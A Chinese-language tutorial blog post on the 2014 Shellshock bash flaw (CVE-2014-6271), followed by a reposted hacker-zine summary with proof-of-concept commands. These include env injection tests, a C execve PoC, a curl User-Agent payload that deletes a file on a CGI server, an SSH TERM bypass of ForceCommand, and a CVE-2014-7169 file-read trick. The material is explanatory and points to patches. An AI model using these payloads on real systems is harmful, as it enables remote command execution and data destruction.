新手理解的bash環境變量解析漏洞
來源:程序員人生 發布時間:2014-09-30 07:31:40 閱讀次數:3278次
1 環境變量是什么
無論是Windows程序還是Linux程序,都支持環境變量,一般來講環境變量作為賦值字符串的形式存放到進程內存空間的開頭部分。用戶在執行一個程序時,可以通過指定環境變量來給被執行的程序傳遞信息。在GUI占主導的Windows平臺上,一般用戶很少需要使用環境變量來為程序傳遞信息。環境變量是進程空間的資源,不同進程的環境變量不能共享。但是可以通過進程資源繼承機制來把父進程的環境變量復制一份到子進程中。例如,為bash進程設置的環境變量,會自動復制一份到通過bash啟動的子進程中。
不同的程序對環境變量的應用程度也不相同,很多小程序可以都對環境變量不予理會。然而也有很多程序嚴重依賴于環境變量,如用于Web的CGI程序,其所有的表單數據都是通過環境變量的形式由web服務器進程傳遞給CGI程序的。下面是一個用C語言寫的簡單的CGI程序。
int main(void)
{
char *data;
long m,n;
printf("%s%c%c ","Content-Type:text/html;charset=gb2312",13,10);
printf("< TITLE >乘法結果< /TITLE > ");
printf("< H3 >乘法結果< /H3 > ");
data = getenv("QUERY_STRING");
if(data == NULL)
printf("< P >錯誤!數據沒有被輸入或者數據傳輸有問題");
else if(sscanf(data,"m=%ld&n=%ld",&m,&n)!=2)
printf("< P >錯誤!輸入數據非法。表單中輸入的必須是數字。");
else
printf("< P >%ld和%ld的成績是:%ld。",m,n,m*n);
return 0;
}
可以看出,客戶端發來的GET請求字符串是通過環境變量QUERY_STRING傳遞給這個程序的。
Bash也是一個環境變量重度用戶,當然使用bash編寫的CGI程序就更加依賴于環境變量了。下面是用bash寫的CGI程序。
#!/bin/bash
echo 'Content-type: test/html'
echo ''
echo $QUERY_STRING
同樣也是使用了環境變量QUERY_STRING.
2 bash 分析環境變量存在的漏洞分析
前面說過,環境變量就是一組特殊的字符串,利用環境變量的程序必須要對其進行分析處理。對字符串的處理是大部分程序中很重要的任務,對于Web程序而已更甚(html,xml, json文件內容本身就是字符串)。
bash當然也不例外,它需要分析環境變量字符串,然后解釋其意義并執行相關操作。由于bash腳本本身就是文本字符串,所以bash引擎可以簡單把環境變量字符串轉變為腳本格式的字符串,然后拿出來與要執行的bash腳本合并,然后再解釋執行合并后的腳本。
例如如下腳本:
echo 環境變量X的值是$X
環境變量為X=100,那么合并后相當于:
X=100
echo 環境變量X的值為$X
我們可以通過env這個工具來試試效果,env 的作用就是為即將執行的程序指定環境變量。
[root@localhost ~]# env X=100 bash -c 'echo 環境變量X的值為$X';
環境變量X的值為100
再來構造一個特殊點的環境變量。
[root@localhost ~]# env X='() { echo 我是環境變量;};' bash -c 'env';
HOSTNAME=localhost.localdomain
.... 省略顯示無關環境變量
SSH_CONNECTION=172.16.35.220 60128 172.16.35.135 22
LESSOPEN=|/usr/bin/lesspipe.sh %s
G_BROKEN_FILENAMES=1
X=() { echo 我是環境變量
}
此時,環境變量X還是一個字符串而已,但是bash把他解釋為了一個函數類型而不是一個字符串類型的值。所以可以直接執行這個函數了。如下:
[root@localhost ~]# env X='() { echo 我是環境變量;};' bash -c 'X';
我是環境變量
此時,bash解釋環境變量后轉換成的腳本為:
X() { echo 我是環境變量;};
而不是原樣照搬為X=(){ echo 我是環境變量;};
可見對于不同的字符串格式的環境變量值,bash有不同的解釋方式。
繼續讓這個X的值更復雜一點,如下:
[root@localhost ~]# env X='() { echo 我是環境變量;}; echo 你中招了' bash -c 'env'
你中招了
HOSTNAME=localhost.localdomain
SHELL=/bin/bash
SSH_CONNECTION=172.16.35.220 60128 172.16.35.135 22
LESSOPEN=|/usr/bin/lesspipe.sh %s
G_BROKEN_FILENAMES=1
X=() { echo 我是環境變量
}
_=/bin/env
問題出現了!此時env為bash設置的環境變量X的值為
() { echo 我是環境變量;}; echo 你中招了
bash把前半部分解釋成了函數X的函數體,而把后半部分啥也沒做,直接原樣轉為腳本。解釋后的腳本如下:
X() { echo 我是環境變量;};
echo 你中招了
合并后的腳本如下:
X() { echo 我是環境變量;};
echo 你中招了
env
這樣就會直接執行 echo 你中招了 ,而其實這個命令可以換成任意其他命令,也就達到讓bash執行任意命令的目的了。這就是此次bash漏洞的基本原理。
再來看看打完補丁后的效果。
[root@localhost ~]# env X='() { echo 我是環境變量;}; echo 你中招了' bash -c 'env'
HOSTNAME=localhost.localdomain
SHELL=/bin/bash
X=() { echo 我是環境變量;}; echo 你中招了
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin
_=/bin/env
[root@localhost ~]# env X='() { echo 我是環境變量;}; echo 你中招了' bash -c 'echo $X'
() { echo 我是環境變量;}; echo 你中招了
可以看出此時,bash不再把X當成函數來解釋,而是把整個環境變量的值都全部作為純字符串賦予了X。
3 誰會受到bash漏洞的影響?
通過上面的原理分析我們知道,只要是能通過某種手段為bash傳遞環境變量的程序都受此影響。當然最典型的的就是bash寫的CGI程序了,客戶端通過在請求字符串里加入值為 () { echo 我是環境變量;}; echo 你中招了的表單值,就可以輕松攻擊運行CGI的服務器。
目前大多數的一般網站很少用CGI了,所以問題不算太大。但是有很多的網絡設備,如路由器交換機等都使用了perl或者其他語言寫的CGI程序,只要是底層調用了bash,那么風險還是很大的。
目前,針對此漏洞的補丁已經發布,請盡快打上。不幸的是打上補丁后仍存在另外的泄露文件內容的漏洞,詳情參看如下轉載文章:https://raw.githubusercontent.com/citypw/DNFWAH/master/4/d4_0x07_DNFWAH_shellshock_bash_story_cve-2014-6271.txt
[sth0r@shawn-fortress]$ uname -a
Linux shawn-fortress 3.7-trunk-686-pae #1 SMP Debian 3.7.2-0+kali8 i686 GNU/Linux
|=-----------------------------------------------------------------=|
|=-----=[ D O N O T F U C K W I T H A H A C K E R ]=-----=|
|=-----------------------------------------------------------------=|
|=------------------------[ #4 File 0x07 ]-------------------------=|
|=-----------------------------------------------------------------=|
|=-------------------=[ Bash Shellshock事件: ]=--------------------=|
|=-------------------=[ CVE-2014-6271資料匯總]=--------------------=|
|=-----------------------------------------------------------------=|
|=---------------------=[ By Shawn the R0ck ]=---------------------=|
|=-----------------------------------------------------------------=|
|=-----------------------=[ Sep 25 2014 ]=------------------------=|
|=-----------------------------------------------------------------=|
--[ Content
0. What is BASH
1. CVE-2014-6271
2. Incomplete patch and story to be continued...
--[ 0. 什么是BASH
Bourne Again Shell(簡稱BASH)是在GNU/Linux上最流行的SHELL實現,于1980年
誕生,經過了幾十年的進化從一個簡單的終端命令行解釋器演變成了和GNU系統深
度整合的多功能接口。
--[ 1. CVE-2014-6271
法國GNU/Linux愛好者Stéphane Chazelas于2014年9月中旬發現了著名SHELL實現
BASH的一個漏洞,你可以通過構造環境變量的值來執行你想要執行的腳本代碼,
據報道稱,這個漏洞能影響眾多的運行在GNU/Linux上的會跟BASH交互的應用程序,
包括:
** 在sshd配置中使用了ForceCommand用以限制遠程用戶執行命令,這個漏洞可以
繞過限制去執行任何命令。一些Git和Subversion部署環境的限制Shell也會出
現類似情況,OpenSSH通常用法沒有問題。
** Apache服務器使用mod_cgi或者mod_cgid,如果CGI腳本在BASH或者運行在子
SHELL里都會受影響。子Shell中使用C的system/popen,Python中使用
os.system/os.popen,PHP中使用system/exec(CGI模式)和Perl中使用
open/system的情況都會受此漏洞影響。
** PHP腳本執行在mod_php不會受影響。
** DHCP客戶端調用shell腳本接收遠程惡意服務器的環境變量參數值的情況會被
此漏洞利用。
** 守護進程和SUID程序在環境變量設置的環境下執行SHELL腳本也可能受到影響。
** 任何其他程序執行SHELL腳本時用BASH作為解釋器都可能受影響。Shell腳本不
導出的情況下不會受影響。
我們先來看一個簡單的POC:
1,本地SHELL環境中測試是否有漏洞:
$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
如果存在漏洞會打印"vulnerable"。
2,C程序:
-----------------------------------------------------------------------------
/* CVE-2014-6271 + aliases with slashes PoC - je [at] clevcode [dot] org */
#include <unistd.h>
#include <stdio.h>
int main()
{
char *envp[] = {
"PATH=/bin:/usr/bin",
"/usr/bin/id=() { "
"echo pwn me twice, shame on me; }; "
"echo pwn me once, shame on you",
NULL
};
char *argv[] = { "/bin/bash", NULL };
execve(argv[0], argv, envp);
perror("execve");
return 1;
}
je@tiny:~$ gcc -o bash-is-fun bash-is-fun.c
je@tiny:~$ ./bash-is-fun
pwn me once, shame on you
je@tiny:/home/je$ /usr/bin/id
pwn me twice, shame on me
--------------------------------------------------------------
這個POC中可以看出BASH根本就沒有去處理結尾,后面我們可以通過補丁來看為什么。
3,INVISIBLETHREAT上對于HTTP環境的測試:
創建一個腳本叫poc.cgi:
#!/bin/bash
echo "Content-type: text/html"
echo ""
echo '<html>'
echo '<head>'
echo '<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">'
echo '<title>PoC</title>'
echo '</head>'
echo '<body>'
echo '<pre>'
/usr/bin/env
echo '</pre>'
echo '</body>'
echo '</html>'
exit 0
把腳本放入測試機后,輸入:
$ curl http://192.168.0.1/poc.cgi
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>PoC</title>
</head>
<body>
<pre>
SERVER_SIGNATURE=<address>Apache/2.2.22 (Debian) Server at 192.168.0.1 Port 80</address>
HTTP_USER_AGENT=curl/7.26.0
SERVER_PORT=80
HTTP_HOST=192.168.0.1
DOCUMENT_ROOT=/var/www
SCRIPT_FILENAME=/var/www/poc.cgi
REQUEST_URI=/poc.cgi
SCRIPT_NAME=/poc.cgi
REMOTE_PORT=40974
PATH=/usr/local/bin:/usr/bin:/bin
PWD=/var/www
SERVER_ADMIN=webmaster@localhost
HTTP_ACCEPT=*/*
REMOTE_ADDR=192.168.0.1
SHLVL=1
SERVER_NAME=192.168.0.1
SERVER_SOFTWARE=Apache/2.2.22 (Debian)
QUERY_STRING=
SERVER_ADDR=192.168.0.1
GATEWAY_INTERFACE=CGI/1.1
SERVER_PROTOCOL=HTTP/1.1
REQUEST_METHOD=GET
_=/usr/bin/env
</pre>
</body>
</html>
再來試試使用curl設置一個user-agent玩玩:
$ curl -A "() { :; }; /bin/rm /var/www/target" http://192.168.0.1/poc.cgi
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
misconfiguration and was unable to complete
your request.</p>
<p>Please contact the server administrator,
webmaster@localhost and inform them of the time the error occurred,
and anything you might have done that may have
caused the error.</p>
<p>More information about this error may be available
in the server error log.</p>
<hr>
<address>Apache/2.2.22 (Debian) Server at 192.168.0.1 Port 80</address>
</body></html>
上面已經把/var/www/target給刪除了,再來看看:
$ curl http://192.168.0.1/target
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /target was not found on this server.</p>
<hr>
<address>Apache/2.2.22 (Debian) Server at 192.168.0.1 Port 80</address>
</body></html>
4, 針對OpenSSH的POC,目前有2個攻擊平面,Solar Designer給出了
SSH_ORIGINAL_COMMAND的本地利用方法:
seclists.org/oss-sec/2014/q3/651
還有就是針對遠程利用的POC,通過利用TERM:
在機器A上生成一對RSA key pair:
shawn@debian-test32:~/.ssh$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/shawn/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/shawn/.ssh/id_rsa.
Your public key has been saved in /home/shawn/.ssh/id_rsa.pub.
The key fingerprint is:
09:1c:92:fb:c5:68:f8:e1:b9:c2:62:a8:c7:75:5b:dc shawn@debian-test32
The key's randomart image is:
+--[ RSA 2048]----+
| ... |
| .o . |
| ooo |
| o +.o. |
| = =S. |
| . * o E |
| o o . + |
|. = o o |
|oo . . |
+-----------------+
把A的公鑰拷貝到機器B上:
$cat /home/shawn/.ssh/authorized_keys
command="/tmp/ssh.sh" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9xYHEdjbbvSO+RAtDS3u+R4sD87SUQq5OZJ+6P5n3BoOz8eKfmK2B4qQa28uGvpseFSSXIoXTKdeS3mCXevbibGG6E3RQ63U7USrh9iQupO6c45Qt+3/WOo7X3mRlZ1awUmCjurcA5Zm/yOvyMJCoRd1kpkiJljgHtMztEhWvAE4inFkqyWC81SSfsvNd/GEiyCpFw84UTdF/cH626V3V73hlxwBMd8UKI27I7ATMOcPgWsI5738tLpgPDSisvZZXZNlxAfvSgpxKYAHOQ9VsaJCG4q+Giob5iX4IDzn8gs8G7uGW+EGhzTMq83f/8ar5a5Ex8Dg9M/loYPIPp5gJ shawn@debian-test32
一個用于控制command/SSH_ORIGINAL_COMMAND的腳本
shawn@linux-ionf:~/.ssh> cat /tmp/ssh.sh
#!/bin/sh
case "$SSH_ORIGINAL_COMMAND" in
"ps")
ps -ef
;;
"vmstat")
vmstat 1 100
;;
"cups stop")
/etc/init.d/cupsys stop
;;
"cups start")
/etc/init.d/cupsys start
;;
*)
echo "Sorry. Only these commands are available to you:"
echo "ps, vmstat, cupsys stop, cupsys start"
#exit 1
;;
esac
機器A上可以正常的使用限制腳本:
shawn@debian-test32:~/.ssh$ export SSH_ORIGINAL_COMMAND="ps"
shawn@debian-test32:~/.ssh$ ssh shawn@192.168.115.129 $SSH_ORIGINAL_COMMAND
Enter passphrase for key '/home/shawn/.ssh/id_rsa':
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 16:47 ? 00:00:02 /sbin/init showopts
root 2 0 0 16:47 ? 00:00:00 [kthreadd]
root 3 2 0 16:47 ? 00:00:00 [ksoftirqd/0]
借助TERM來利用:
shawn@debian-test32:~$ export TERM='() { :;}; id'; ssh shawn@192.168.115.129
Enter passphrase for key '/home/shawn/.ssh/id_rsa':
uid=1000(shawn) gid=100(users) groups=100(users)
Connection to 192.168.115.129 closed.
--[ 2. 補丁和后續
從最早GNU/Linux發行版社區收到的補丁:
https://bugzilla.novell.com/attachment.cgi?id=606672
可以看出BASH的確沒有做異常處理,而直接解析后就執行了。
正式的社區補丁在這里:
http://ftp.gnu.org/pub/gnu/bash/bash-3.0-patches/bash30-017
http://ftp.gnu.org/pub/gnu/bash/bash-3.1-patches/bash31-018
http://ftp.gnu.org/pub/gnu/bash/bash-3.2-patches/bash32-052
http://ftp.gnu.org/pub/gnu/bash/bash-4.0-patches/bash40-039
http://ftp.gnu.org/pub/gnu/bash/bash-4.1-patches/bash41-012
http://ftp.gnu.org/pub/gnu/bash/bash-4.2-patches/bash42-048
http://ftp.gnu.org/pub/gnu/bash/bash-4.3-patches/bash43-025
但由于補丁修復的不完整,導致了CVE-2014-7169的爆出,POC如下:
shawn@shawn-fortress /tmp $ date -u > test_file
shawn@shawn-fortress /tmp $ env X='() { (a)=<' bash -c 'test_file cat'
bash: X: line 1: syntax error near unexpected token `='
bash: X: line 1: `'
bash: error importing function definition for `X'
Thu Sep 25 09:37:04 UTC 2014
這個POC可以讓攻擊者能讀文件,看來后續的故事還沒結束...................
[1] BASH
http://www.gnu.org/software/bash/
[2] Bash specially-crafted environment variables code injection attack
https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/
[3] CVE-2014-6271
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6271
[4] CVE-2014-7169
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-7169
[4] CVE-2014-6271: remote code execution through bash
http://seclists.org/oss-sec/2014/q3/651
生活不易,碼農辛苦
如果您覺得本網站對您的學習有所幫助,可以手機掃描二維碼進行捐贈